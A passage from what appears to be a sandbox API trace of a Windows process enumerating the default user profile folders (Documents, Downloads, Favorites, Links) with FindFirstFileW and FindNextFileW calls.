ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.023] FindClose (in: hFindFile=0x1d1f4210 | out: hFindFile=0x1d1f4210) returned 1 [0220.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.023] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents", lpFilePart=0x0) returned 0x1a [0220.024] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*" (normalized: "c:\\users\\default\\documents\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4330 [0220.026] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.026] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0220.026] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0220.026] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0220.027] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0220.027] FindClose (in: hFindFile=0x1d1f4330 | out: hFindFile=0x1d1f4330) returned 1 [0220.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.028] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents", lpFilePart=0x0) returned 0x1a [0220.028] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*" (normalized: "c:\\users\\default\\documents\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f44b0 [0220.029] FindNextFileW (in: hFindFile=0x1d1f44b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.029] FindNextFileW (in: hFindFile=0x1d1f44b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0220.029] FindNextFileW (in: hFindFile=0x1d1f44b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0220.029] FindNextFileW (in: hFindFile=0x1d1f44b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0220.030] FindNextFileW (in: hFindFile=0x1d1f44b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.030] FindClose (in: hFindFile=0x1d1f44b0 | out: hFindFile=0x1d1f44b0) returned 1 [0220.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0220.031] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Music", lpFilePart=0x0) returned 0x23 [0220.031] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*" (normalized: "c:\\users\\default\\documents\\my music\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df90) returned 1 [0220.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0220.035] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Music", lpFilePart=0x0) returned 0x23 [0220.035] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*" (normalized: "c:\\users\\default\\documents\\my music\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df90) returned 1 [0220.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0220.039] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Pictures", lpFilePart=0x0) returned 0x26 [0220.039] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*" (normalized: "c:\\users\\default\\documents\\my pictures\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df90) returned 1 [0220.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0220.043] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Pictures", lpFilePart=0x0) returned 0x26 [0220.044] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*" (normalized: "c:\\users\\default\\documents\\my pictures\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df90) returned 1 [0220.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0220.048] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Videos", lpFilePart=0x0) returned 0x24 [0220.048] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*" (normalized: "c:\\users\\default\\documents\\my videos\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df90) returned 1 [0220.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0220.052] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Documents\\My Videos", lpFilePart=0x0) returned 0x24 [0220.052] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*" (normalized: "c:\\users\\default\\documents\\my videos\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df90) returned 1 [0220.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.056] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Downloads", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Downloads", lpFilePart=0x0) returned 0x1a [0220.056] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*" (normalized: "c:\\users\\default\\downloads\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4b10 [0220.057] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.057] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.057] FindClose (in: hFindFile=0x1d1f4b10 | out: hFindFile=0x1d1f4b10) returned 1 [0220.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.057] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Downloads", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Downloads", lpFilePart=0x0) returned 0x1a [0220.057] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*" (normalized: "c:\\users\\default\\downloads\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f3f70 [0220.058] FindNextFileW (in: hFindFile=0x1d1f3f70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.058] FindNextFileW (in: hFindFile=0x1d1f3f70, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.058] FindClose (in: hFindFile=0x1d1f3f70 | out: hFindFile=0x1d1f3f70) returned 1 [0220.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.058] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites", lpFilePart=0x0) returned 0x1a [0220.058] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*" (normalized: "c:\\users\\default\\favorites\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5350 [0220.059] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.059] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.059] FindClose (in: hFindFile=0x1d1f5350 | out: hFindFile=0x1d1f5350) returned 1 [0220.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.059] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites", lpFilePart=0x0) returned 0x1a [0220.059] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*" (normalized: "c:\\users\\default\\favorites\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4210 [0220.059] FindNextFileW (in: hFindFile=0x1d1f4210, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.060] FindNextFileW (in: hFindFile=0x1d1f4210, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.060] FindClose (in: hFindFile=0x1d1f4210 | out: hFindFile=0x1d1f4210) returned 1 [0220.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.060] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Links", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Links", lpFilePart=0x0) returned 0x16 [0220.060] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*" (normalized: "c:\\users\\default\\links\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4570 [0220.062] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.063] FindNextFileW (in: hFindFile=0x1d1f4570, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.063] FindClose (in: hFindFile=0x1d1f4570 | out: hFindFile=0x1d1f4570) returned 1 [0220.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.063] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Links", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Links", lpFilePart=0x0) returned 0x16 [0220.063] FindFirstFileW (in: 